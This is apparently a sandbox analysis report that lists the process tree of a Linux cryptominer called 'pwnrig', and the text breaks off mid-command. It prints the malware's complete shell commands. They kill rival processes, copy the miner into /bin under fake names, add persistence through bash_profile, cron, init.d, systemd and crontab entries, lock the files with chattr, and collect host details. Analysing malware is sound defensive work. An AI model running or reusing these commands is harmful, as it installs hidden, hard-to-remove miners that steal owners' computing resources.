/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:4340
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵PID:4342
-
-
/usr/bin/psps -A "-ostat,ppid"3⤵
- Reads CPU attributes
PID:4341
-
-
/usr/bin/idid -u3⤵PID:4344
-
-
/usr/bin/grepgrep -v grep3⤵PID:4347
-
-
/usr/bin/grepgrep /etc/cron3⤵PID:4346
-
-
/usr/bin/psps x3⤵PID:4345
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"2⤵
- Writes file to tmp directory
PID:4349 -
/usr/bin/idid -u3⤵PID:4350
-
-
/usr/bin/idid -u3⤵PID:4351
-
-
/usr/bin/chattrchattr -i -a /bin/bprofr "~/.bash_profile"3⤵PID:4352
-
-
/usr/bin/rmrm -rf /bin/bprofr3⤵PID:4353
-
-
/usr/bin/sedsed -i /bprofr/d "~/.bash_profile"3⤵
- Attempts to change immutable files
PID:4354
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/bprofr3⤵
- Writes file to system bin folder
PID:4355
-
-
/usr/bin/idid -u3⤵PID:4356
-
-
/usr/bin/chattrchattr +i +a /bin/bprofr "~/.bash_profile"3⤵PID:4357
-
-
/usr/bin/mkdirmkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly3⤵PID:4358
-
-
/usr/bin/chattrchattr -i -a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr3⤵PID:4359
-
-
/usr/bin/rmrm -rf /bin/crondr3⤵PID:4360
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/crondr3⤵
- Writes file to system bin folder
PID:4361
-
-
/usr/bin/teetee /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig3⤵
- Creates/modifies Cron job
PID:4363
-
-
/usr/bin/sedsed -i "1 s/-e //" /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig3⤵
- Creates/modifies Cron job
PID:4364
-
-
/usr/bin/chmodchmod +x /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr3⤵PID:4365
-
-
/usr/bin/chattrchattr +i +a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr3⤵
- Attempts to change immutable files
PID:4366
-
-
/usr/bin/whichwhich chkconfig3⤵PID:4367
-
-
/usr/bin/whichwhich update-rc.d3⤵PID:4368
-
-
/usr/bin/chattrchattr -i -a /etc/init.d/pwnrig /bin/initdr3⤵
- Attempts to change immutable files
PID:4369
-
-
/usr/sbin/update-rc.dupdate-rc.d -f pwnrig disable3⤵
- Flushes firewall rules
PID:4370 -
/usr/local/sbin/systemctlsystemctl --quiet disable pwnrig4⤵PID:4371
-
-
/usr/local/bin/systemctlsystemctl --quiet disable pwnrig4⤵PID:4371
-
-
/usr/sbin/systemctlsystemctl --quiet disable pwnrig4⤵PID:4371
-
-
/usr/bin/systemctlsystemctl --quiet disable pwnrig4⤵
- Reads EFI boot settings
PID:4371
-
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:4397
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:4397
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:4397
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
PID:4397
-
-
-
/usr/sbin/update-rc.dupdate-rc.d -f pwnrig remove3⤵PID:4423
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:4424
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:4424
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:4424
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
PID:4424
-
-
-
/usr/bin/rmrm -rf /bin/initdr3⤵PID:4450
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/initdr3⤵
- Writes file to system bin folder
PID:4451
-
-
/usr/bin/teetee /etc/init.d/pwnrig3⤵
- Modifies init.d
PID:4453
-
-
/usr/bin/sedsed -i "1 s/-e //" /etc/init.d/pwnrig3⤵
- Attempts to change immutable files
- Modifies init.d
PID:4454
-
-
/usr/bin/chmodchmod +x /etc/init.d/pwnrig /bin/initdr3⤵PID:4455
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig defaults3⤵PID:4456
-
-
/usr/bin/chattrchattr +i +a /etc/init.d/pwnrig /bin/initdr3⤵
- Attempts to change immutable files
PID:4511
-
-
/usr/bin/whichwhich systemctl3⤵PID:4512
-
-
/usr/bin/chattrchattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr3⤵PID:4513
-
-
/usr/bin/rmrm -rf /bin/sysdr3⤵PID:4514
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/sysdr3⤵
- Writes file to system bin folder
PID:4515
-
-
/usr/bin/teetee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service3⤵
- Modifies systemd
PID:4517
-
-
/usr/bin/sedsed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service3⤵
- Attempts to change immutable files
PID:4518
-
-
/usr/bin/chattrchattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr3⤵PID:4519
-
-
/usr/bin/systemctlsystemctl enable pwnrige.service3⤵
- Reads EFI boot settings
PID:4520
-
-
/usr/bin/systemctlsystemctl enable pwnrigl.service3⤵PID:4546
-
-
/usr/bin/systemctlsystemctl daemon-reload3⤵
- Reads EFI boot settings
PID:4572
-
-
/usr/bin/systemctlsystemctl reload-or-restart pwnrige.service3⤵PID:4598
-
-
-
/usr/bin/hostnamehostname -I1⤵PID:4314
-
/usr/bin/awkawk "{print \$1}"1⤵PID:4316
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:4321
-
/usr/bin/headhead -n 11⤵PID:4320
-
/usr/bin/grepgrep "Port "1⤵PID:4319
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:4318
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:4330
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:4329
-
/usr/bin/cutcut -d: -f21⤵PID:4328
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:4327
-
/usr/bin/awkawk "{print \$1}"1⤵PID:4333
-
/usr/bin/awkawk "{print \$4}"1⤵PID:4336
-
/usr/bin/awkawk "{print \$4}"1⤵PID:4339
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d1⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads hardware information
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
PID:4653 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""2⤵PID:4677
-
/usr/bin/whoamiwhoami3⤵PID:4688
-
-
/usr/bin/hostnamehostname3⤵PID:4689
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo3⤵
- Checks CPU configuration
PID:4690
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:4706
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵PID:4708
-
-
/usr/bin/psps -A "-ostat,ppid"3⤵PID:4707
-
-
/usr/bin/idid -u3⤵PID:4710
-
-
/usr/bin/grepgrep -v grep3⤵PID:4713
-
-
/usr/bin/grepgrep /etc/cron3⤵PID:4712
-
-
/usr/bin/psps x3⤵PID:4711
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:4715
-
/usr/bin/idid -u3⤵PID:4716
-
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"3⤵PID:4721
-
-
/usr/bin/grepgrep -v /usr/sbin/httpd3⤵PID:4720
-
-
/usr/bin/grepgrep -v -- "-bash[[:space:]]*\$"3⤵PID:4719
-
-
/usr/bin/grepgrep -v grep3⤵PID:4718
-
-
/usr/bin/psps aux3⤵PID:4717
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"2⤵PID:4723
-
/usr/bin/idid -u3⤵PID:4724
-
-
-
/usr/bin/hostnamehostname -I1⤵PID:4680
-
/usr/bin/awkawk "{print \$1}"1⤵PID:4682
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:4687
-
/usr/bin/headhead -n 11⤵PID:4686
-
/usr/bin/grepgrep "Port "1⤵PID:4685
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:4684
-
/usr/bin/cutcut -d: -f21⤵PID:4694
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:4693
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:4696
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:4695
-
/usr/bin/awkawk "{print \$1}"1⤵PID:4699
-
/usr/bin/awkawk "{print \$4}"1⤵PID:4702
-
/usr/bin/awkawk "{print \$4}"1⤵PID:4705
-
/usr/bin/wcwc -l1⤵PID:4730
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"1⤵PID:4729
-
/usr/bin/grepgrep -- "-bash[[:space:]]*\$"1⤵PID:4728
-
/usr/bin/grepgrep -v grep1⤵PID:4727
-
/usr/bin/psps aux1⤵
- Reads CPU attributes
- Reads runtime system information
PID:4726
-
/usr/bin/crontabcrontab -r1⤵PID:4731
-
/usr/bin/pkillpkill -f .klibsystem51⤵
- Reads CPU attributes
- Reads runtime system information
PID:4732
-
/usr/bin/pkillpkill -f .klibsystem41⤵
- Reads CPU attributes
- Reads runtime system information
PID:4733
-
/usr/bin/bashbash -c "echo \"* * * * * /usr/local/share/.klibsystem5 >/dev/null 2>&1\" | crontab -"1⤵PID:4734
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:4736
-
-
/usr/bin/chattrchattr -ia /etc/cron.d/.lib-knlib41⤵PID:4737
-
/usr/bin/chattrchattr +ia /etc/cron.d/.lib-knlib41⤵PID:4738
-
/usr/bin/chattrchattr -ia /var/spool/cron/.lib-knlib41⤵PID:4739
-
/usr/bin/chattrchattr +ia /var/spool/cron/.lib-knlib41⤵PID:4740
-
/usr/bin/chattrchattr -ia /etc/cron.hourly/.lib-knlib41⤵PID:4741
-
/usr/bin/chattrchattr +ia /etc/cron.hourly/.lib-knlib41⤵PID:4742
-
/usr/bin/chattrchattr -ia /etc/cron.daily/.lib-knlib41⤵
- Attempts to change immutable files
PID:4743
-
/usr/bin/chattrchattr +ia /etc/cron.daily/.lib-knlib41⤵
- Attempts to change immutable files
PID:4744
-
/usr/bin/chattrchattr -ia /etc/cron.weekly/.lib-knlib41⤵PID:4745
-
/usr/bin/chattrchattr +ia /etc/cron.weekly/.lib-knlib41⤵PID:4746
-
/usr/bin/chattrchattr -ia /etc/cron.monthly/.lib-knlib41⤵PID:4747
-
/usr/bin/chattrchattr +ia /etc/cron.monthly/.lib-knlib41⤵PID:4748
-
/usr/bin/chattrchattr -ia /etc/anacrontab1⤵PID:4749
-
/usr/bin/chattrchattr +ia /etc/anacrontab1⤵PID:4750
-
/tmp/service-agent/tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn1⤵
- Executes dropped EXE
- Checks CPU configuration
- Checks hardware identifiers (DMI)
- Reads CPU attributes
- Reads hardware information
- Enumerates kernel/hardware configuration
PID:4751 -
/bin/shsh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""2⤵PID:4752
-
/usr/bin/whoamiwhoami3⤵PID:4763
-
-
/usr/bin/hostnamehostname3⤵PID:4764
-
-
/usr/bin/grepgrep -c "^processor" /proc/cpuinfo3⤵
- Checks CPU configuration
PID:4765
-
-
-
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:4781
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵PID:4783
-
-
/usr/bin/psps -A "-ostat,ppid"3⤵
- Reads CPU attributes
- Reads runtime system information
PID:4782
-
-
/usr/bin/idid -u3⤵PID:4785
-
-
/usr/bin/grepgrep -v grep3⤵PID:4788
-
-
/usr/bin/grepgrep /etc/cron3⤵PID:4787
-
-
/usr/bin/psps x3⤵PID:4786
-
-
-
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# 